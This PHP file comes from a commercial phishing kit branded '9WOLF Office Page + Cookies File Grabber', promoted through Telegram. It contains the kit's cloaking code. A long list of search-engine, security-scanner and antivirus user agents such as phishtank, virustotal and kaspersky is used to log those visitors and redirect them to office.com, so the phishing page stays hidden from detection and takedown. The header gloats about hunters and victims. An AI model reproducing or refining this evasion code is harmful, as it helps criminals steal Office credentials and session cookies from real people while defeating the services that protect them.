<?php

/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡟⠁⠼⠻⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠀⠀⠀⠸⡏⣇⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠀⠀⠀⠀⢠⡇⢹⣀⠞⠛⢷⡄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡟⠀⠀⠀⠀⣶⣿⣥⡬⡟⠀⠀⠀⣿⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⠏⠀⠀⠀⠀⠀⢻⠈⠁⢹⡇⠀⠀⢰⡟⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠶⠛⠛⣻⠅⠀⠀⠀⠀⠀⠀⢸⣆⡴⠟⠃⠀⠀⡾⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡴⠋⡴⢿⡿⠏⠀⠀⠀⠀⠀⠀⠀⢈⣿⠁⠀⠀⠀⢰⠇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠁⣸⣧⠽⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢠⡆⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠀⠀⣿⣿⣰⡆⠀⠀⠀⠀⠀⠀⠀⠀⡆⠀⣠⣿⡿⣦⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠀⠀⠀⠘⢻⢿⣇⡀⠀⠀⢀⠀⠀⠀⣸⠷⣿⣯⠇⠘⠽⢻⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣿⠟⠀⠀⢶⣄⠈⠇⣿⣷⠀⠀⠘⣇⠀⠀⠘⣶⠿⠀⠀⠀⠀⠸⣇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣾⠏⠀⢰⡀⢸⣿⠃⠲⠃⢻⣶⡄⣦⣿⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣟⣁⣠⣴⣿⡇⢸⡏⠀⠀⠀⠾⢹⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⠀⠀⠀⠀⠀
⣀⣀⣤⣴⣿⣟⠀⠉⣩⣿⡿⢡⡟⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⠀⠀⠀⠀
⠀⠉⠛⠿⢿⣿⣶⣿⣿⣯⣶⣿⣿⠇⠀⠀⠀⠀⠀⠘⠳⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠸⣆⠀⠀⠀
⠀⠀⠀⠀⠀⣼⣿⣫⠍⠙⠚⠋⣿⢀⣶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣆⠀⠀⠀⣠⠀⣷⣿⡄⠀⠀
⠀⠀⠀⠀⣼⡿⣿⡏⣸⠃⠀⠀⢸⡿⣿⡀⢀⠀⠀⠀⠀⠀⠀⠀⢦⣄⠀⠀⣿⡄⠀⢰⣿⣆⣿⠻⣧⠀⠀
⠀⠀⠀⢰⡟⢠⣿⣿⡯⠀⠀⠀⠀⠳⠸⣧⠈⣷⡀⠰⡄⠀⠀⠀⠈⣿⣇⣰⠟⣷⡄⣸⣿⠻⣿⣇⠛⠀⠀
⠀⠀⠀⠀⢠⣿⣿⣿⣿⢠⡇⠀⠀⠀⠀⠙⣷⣿⢿⣆⢹⣆⠀⠀⢰⡇⣿⠏⠀⠈⢿⣿⣿⡆⠙⢿⣦⠀⠀
⠀⠀⠀⠀⢸⣏⣿⢿⣿⡿⠀⠀⠀⠀⠀⠀⠈⠛⠄⠻⢿⡟⢷⣤⣾⠁⠁⠀⠀⠀⠀⠉⠻⣿⡄⡈⠹⣧⠀
⠀⠀⠀⠀⠈⢸⡏⣸⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠊⠻⣿⡄⠀⠀⠀⠀⠀⠀⠀⠈⡗⠹⣷⣼⡆
⠀⠀⠀⠀⠀⢸⡃⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠂⠀⠀⠀⠀⠀⠀⠀⠛⠀⣿⡿⣷
⠀⠀⠀⠀⠀⠀⠀⠙⠛⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠲⠿⠇⠉
 * //Think Twice , Code Once\\
 * //We work in the dark to serve the light\\
 * 9WOLF Office Page + Cookies File Grabber
 * Version 5
 * REMEMBER:  
 * Telegram Channel is : @NINEWOLFSTORE
 * Telegram Store is   : @NINEWOLFSTORE_bot

 * CopyRights: all reserved https://9wolf.io
###########################################
#$            @NINEWOLFSTORE             #$
#$                  Says:                #$
#$           As the Hunter exist         #$ 
#$          The victim exist too         #$  
###########################################
 ================IF AGREED=================
 ==================THEN====================
=To Be save Join Our Telegram Channel
=   @NINEWOLFSTORE
=To Be Secured Join Our Telegram Store
=   @NINEWOLFSTORE_bot

*/

$userAgent = $_SERVER['HTTP_USER_AGENT'];
$Bots = array(
                     "bot",
					"above",
					"google",
					"softlayer",
					"amazonaws",
					"cyveillance",
					"compatible",
					"facebook",
					"phishtank",
					"dreamhost",
					"netpilot",
					"calyxinstitute",
					"tor-exit",
					"apache-httpclient",
					"lssrocketcrawler",
					"Trident",
					"Macintosh",
					"crawler",
					"urlredirectresolver",
					"jetbrains",
					"spam",
					"windows95",
					"windows98",
					"acunetix",
					"netsparker",
					"007ac9",
					"008",
					"192.comagent",
					"200pleasebot",
					"360spider",
					"4seohuntbot",
					"50.nu",
					"a6-indexer",
					"admantx",
					"amznkassocbot",
					"aboundexbot",
					"aboutusbot",
					"abravespider",
					"accelobot",
					"acoonbot",
					"addthis.com",
					"adsbot-google",
					"ahrefsbot",
					"alexabot",
					"amagit.com",
					"analytics",
					"antbot",
					"apercite",
					"aportworm",
					"arabot",
					"crawl",
					"slurp",
					"spider",
					"seek",
					"accoona",
					"acoon",
					"adressendeutschland",
					"ah-ha.com",
					"ahoy",
					"altavista",
					"ananzi",
					"anthill",
					"appie",
					"arachnophilia",
					"arale",
					"araneo",
					"aranha",
					"architext",
					"aretha",
					"arks",
					"asterias",
					"atlocal",
					"atn",
					"atomz",
					"augurfind",
					"backrub",
					"bannana_bot",
					"baypup",
					"bdfetch",
					"bigbrother",
					"biglotron",
					"bjaaland",
					"blackwidow",
					"blaiz",
					"blog",
					"blo.",
					"bloodhound",
					"boitho",
					"booch",
					"bradley",
					"butterfly",
					"calif",
					"cassandra",
					"ccubee",
					"cfetch",
					"charlotte",
					"churl",
					"cienciaficcion",
					"cmc",
					"collective",
					"comagent",
					"combine",
					"computingsite",
					"csci",
					"curl",
					"cusco",
					"daumoa",
					"deepindex",
					"delorie",
					"depspid",
					"deweb",
					"dieblindekuh",
					"digger",
					"ditto",
					"dmoz",
					"docomo",
					"downloadexpress",
					"dtaagent",
					"dwcp",
					"ebiness",
					"ebingbong",
					"e-collector",
					"ejupiter",
					"emacs-w3searchengine",
					"esther",
					"evliyacelebi",
					"ezresult",
					"falcon",
					"felixide",
					"ferret",
					"fetchrover",
					"fido",
					"findlinks",
					"fireball",
					"fishsearch",
					"fouineur",
					"funnelweb",
					"gazz",
					"gcreep",
					"genieknows",
					"getterroboplus",
					"geturl",
					"glx",
					"goforit",
					"golem",
					"grabber",
					"grapnel",
					"gralon",
					"griffon",
					"gromit",
					"grub",
					"gulliver",
					"hamahakki",
					"harvest",
					"havindex",
					"helix",
					"heritrix",
					"hkuwwwoctopus",
					"homerweb",
					"htdig",
					"htmlindex",
					"html_analyzer",
					"htmlgobble",
					"hubater",
					"hyper-decontextualizer",
					"ia_archiver",
					"ibm_planetwide",
					"ichiro",
					"iconsurf",
					"iltrovatore",
					"image.kapsi.net",
					"imagelock",
					"incywincy",
					"indexer",
					"infobee",
					"informant",
					"ingrid",
					"inktomisearch.com",
					"inspectorweb",
					"intelliagent",
					"internetshinchakubin",
					"ip3000",
					"iron33",
					"israeli-search",
					"ivia",
					"jack",
					"jakarta",
					"javabee",
					"jetbot",
					"jumpstation",
					"katipo",
					"kdd-explorer",
					"kilroy",
					"knowledge",
					"kototoi",
					"kretrieve",
					"labelgrabber",
					"lachesis",
					"larbin",
					"legs",
					"libwww",
					"linkalarm",
					"linkvalidator",
					"linkscan",
					"lockon",
					"lwp",
					"lycos",
					"magpie",
					"mantraagent",
					"mapoftheinternet",
					"marvin/",
					"mattie",
					"mediafox",
					"mediapartners",
					"mercator",
					"merzscope",
					"microsofturlcontrol",
					"minirank",
					"miva",
					"mj12",
					"mnogosearch",
					"moget",
					"monster",
					"moose",
					"motor",
					"multitext",
					"muncher",
					"muscatferret",
					"mwd.search",
					"myweb",
					"najdi",
					"nameprotect",
					"nationaldirectory",
					"nazilla",
					"ncsabeta",
					"nec-meshexplorer",
					"nederland.zoek",
					"netcartawebmapengine",
					"netmechanic",
					"netresearchserver",
					"netscoop",
					"newscan-online",
					"nhse",
					"nokia6682/",
					"nomad",
					"noyona",
					"nutch",
					"nzexplorer",
					"objectssearch",
					"occam",
					"omni",
					"opentext",
					"openfind",
					"openintelligencedata",
					"orbsearch",
					"osis-project",
					"packrat",
					"pageboy",
					"pagebull",
					"page_verifier",
					"panscient",
					"parasite",
					"partnersite",
					"patric",
					"pear.",
					"pegasus",
					"peregrinator",
					"pgpkeyagent",
					"phantom",
					"phpdig",
					"picosearch",
					"piltdownman",
					"pimptrain",
					"pinpoint",
					"pioneer",
					"piranha",
					"plumtreewebaccessor",
					"pogodak",
					"poirot",
					"pompos",
					"poppelsdorf",
					"poppi",
					"populariconoclast",
					"psycheclone",
					"publisher",
					"python",
					"rambler",
					"ravensearch",
					"roach",
					"roadrunner",
					"roadhouse",
					"robbie",
					"robofox",
					"robozilla",
					"rules",
					"salty",
					"sbider",
					"scooter",
					"scoutjet",
					"scrubby",
					"search.",
					"searchprocess",
					"semanticdiscovery",
					"senrigan",
					"sg-scout",
					"shai'hulud",
					"shark",
					"shopwiki",
					"sidewinder",
					"sift",
					"silk",
					"simmany",
					"sitesearcher",
					"sitevalet",
					"sitetech-rover",
					"skymob.com",
					"sleek",
					"smartwit",
					"sna-",
					"snappy",
					"snooper",
					"sohu",
					"speedfind",
					"sphere",
					"sphider",
					"spinner",
					"spyder",
					"steeler/",
					"suke",
					"suntek",
					"supersnooper",
					"surfnomore",
					"sven",
					"sygol",
					"szukacz",
					"tachblackwidow",
					"tarantula",
					"templeton",
					"/teoma",
					"t-h-u-n-d-e-r-s-t-o-n-e",
					"theophrastus",
					"titan",
					"titin",
					"tkwww",
					"toutatis",
					"t-rex",
					"tutorgig",
					"twiceler",
					"twisted",
					"ucsd",
					"udmsearch",
					"urlcheck",
					"updated",
					"vagabondo",
					"valkyrie",
					"verticrawl",
					"victoria",
					"vision-search",
					"volcano",
					"voyager/",
					"voyager-hc",
					"w3c_validator",
					"w3m2",
					"w3mir",
					"walker",
					"wallpaper",
					"wanderer",
					"wauuu",
					"wavefire",
					"webcore",
					"webhopper",
					"webwombat",
					"webbandit",
					"webcatcher",
					"webcopy",
					"webfoot",
					"weblayers",
					"weblinker",
					"weblogmonitor",
					"webmirror",
					"webmonkey",
					"webquest",
					"webreaper",
					"websitepulse",
					"websnarf",
					"webstolperer",
					"webvac",
					"webwalk",
					"webwatch",
					"webzinger",
					"wget",
					"whizbang",
					"whowhere",
					"wildferret",
					"worldlight",
					"wwwc",
					"wwwster",
					"xenu",
					"xift",
					"xirq",
					"yandex",
					"yanga",
					"yeti",
					"yahoo!",
					"abot",
					"dbot",
					"ebot",
					"hbot",
					"kbot",
					"lbot",
					"mbot",
					"nbot",
					"obot",
					"pbot",
					"rbot",
					"sbot",
					"tbot",
					"vbot",
					"ybot",
					"zbot",
					"bot.",
					"bot/",
					"_bot",
					".bot",
					"/bot",
					"-bot",
					":bot",
					"(bot",
					"siteexplorer",
					"xget",
					"yodao",
					"zao/",
					"zippp",
					"zyborg",
					"proximic",
					"Googlebot",
					"Baiduspider",
					"Cliqzbot",
					"A6-Indexer",
					"AhrefsBot",
					"Genieo",
					"BomboraBot",
					"CCBot",
					"URLAppendBot",
					"DomainAppender",
					"msnbot-media",
					"Antivirus",
					"YoudaoBot",
					"MJ12bot",
					"linkdexbot",
					"Go-http-client",
					"Googlebot",
					"PhantomJS",
					"applebot",
					"metauri.com",
					"Twitterbot",
					"R6_FeedFetcher",
					"NetcraftSurveyAgent",
					"Sogouwebspider",
					"bingbot",
					"Yahoo!Slurp",
					"facebookexternalhit",
					"PrintfulBot",
					"msnbot",
					"UnwindFetchor",
					"urlresolver",
					"Butterfly",
					"TweetmemeBot",
					"PaperLiBot",
					"Exabot",
					"Ezooms",
					"YandexBot",
					"SearchmetricsBot",
					"picsearch",
					"TweetedTimesBot",
					"QuerySeekerSpider",
					"ShowyouBot",
					"woriobot",
					"merlinkbot",
					"BazQuxBot",
					"Kraken",
					"SISTRIXCrawler",
					"R6_CommentReader",
					"magpie-crawler",
					"GrapeshotCrawler",
					"PercolateCrawler",
					"MaxPointCrawler",
					"NetSeercrawler",
					"grokkit-crawler",
					"SMXCrawler",
					"PulseCrawler",
					"Y!J-BRW",
					"80legs.com/webcrawler",
					"Mediapartners-Google",
					"Spinn3r",
					"InAGist",
					"Python-urllib",
					"NING",
					"TencentTraveler",
					"Feedfetcher-Google",
					"mon.itor.us",
					"spbot",
					"Feedly",
					"java",
					"avg",
					"avira",
					"bitdefender",
					"kaspersky",
					"sophos",
					"virustotal",
					"virus",
					"big brother",
					"die blinde kuh",
					"download express",
					"emacs-w3 search engine",
					"evliya celebi",
					"felix ide",
					"fish search",
					"hku www octopus",
					"html index",
					"inspector web",
					"internet shinchakubin",
					"link validator",
					"microsoft url control",
					"ncsa beta",
					"netcarta webmap engine",
					"open text",
					"orb search",
					"pack rat",
					"pgp key agent",
					"popular iconoclast",
					"raven search",
					"road runner",
					"site searcher",
					"site valet",
					"tach black widow",
					"url check",
					"web core",
					"web hopper",
					"web wombat",
					"weblog monitor",
					"wild ferret",
					"presto",
					"BingPreview",
					"go-http-client",
					"go-http-client/1.1",
					"trident",
					"presto",
					"virustotal",
					"unchaos",
					"dreampassport",
					"sygol",
					"nutch",
					"privoxy",
					"zipcommander",
					"neofonie",
					"abacho",
					"acoi",
					"acoon",
					"adaxas",
					"agada",
					"aladin",
					"alkaline",
					"amibot",
					"anonymizer",
					"aplix",
					"aspseek",
					"avant",
					"baboom",
					"anzwers",
					"anzwerscrawl",
					"crawlconvera",
					"del.icio.us",
					"camehttps",
					"annotate",
					"wapproxy",
					"translate",
					"feedfetcher",
					"ask24",
					"asked",
					"askaboutoil",
					"fangcrawl",
					"amzn_assoc",
					"bingpreview",
					"dr.web",
					"drweb",
					"bilbo",
					"blackwidow",
					"sogou",
					"sogou-test-spider",
					"exabot",
					"externalhit",
					"ia_archiver",
					"mj12",
					"okhttp",
					"simplepie",
					"curl",
					"wget",
					"virus",
					"pipes",
					"antivirus",
					"python",
					"ruby",
					"avast",
					"firebird",
					"scmguard",
					"adsbot",
					"weblight",
					"favicon",
					"analytics",
					"insights",
					"headless",
					"github",
					"node",
					"agusescan",
					"zteopen",
					"majestic12",
					"SimplePie",
					"SAMSUNG-SGH-E250",
					"DoCoMo/2.0 N905i",
					"SiteLockSpider",
					"okhttp/2.5.0",
					"ips-agent",
					"scoutjet",
					"UptimeRobot",
					"FM Scene",
					"Prevx",
					"WindowsPowerShell",
					"ssltools.digicert",
					"virustotalcloud",
					"HeadlessChrome",
					"Nexus",
					"Spectrum",
					"sendgrid",
					"amazonaws",
					"amazonses",
					"mailgun",
					"charter",
					"TelegramBot",
					"TwitterBot",
					"googlebot-Image/1.0",
		);
if($userAgent == "on"){
foreach ($Bots as $Bot) {
	if(strpos($userAgent,$Bot) or substr_count($userAgent,strtolower($Bot))> 0 or $userAgent=="" or $userAgent==" " or $userAgent=="	"){
		$message = ("9WOLF D3cl!n3d => ".$userAgent." [ Us3rAg3nt ] :".$_SERVER['HTTP_USER_AGENT']."\n !p: ". $ip." || D4t3:".gmdate ("d M,Y")." T!m3:".gmdate ("g:i a")."\n\n");
		$save=fopen("9WOLFGrabber/DiscoveredBot.txt","a+");
	    fwrite($save,$message);
	    fclose($save);
		header("Location: https://office.com");exit();
	}

	}
	
}

?>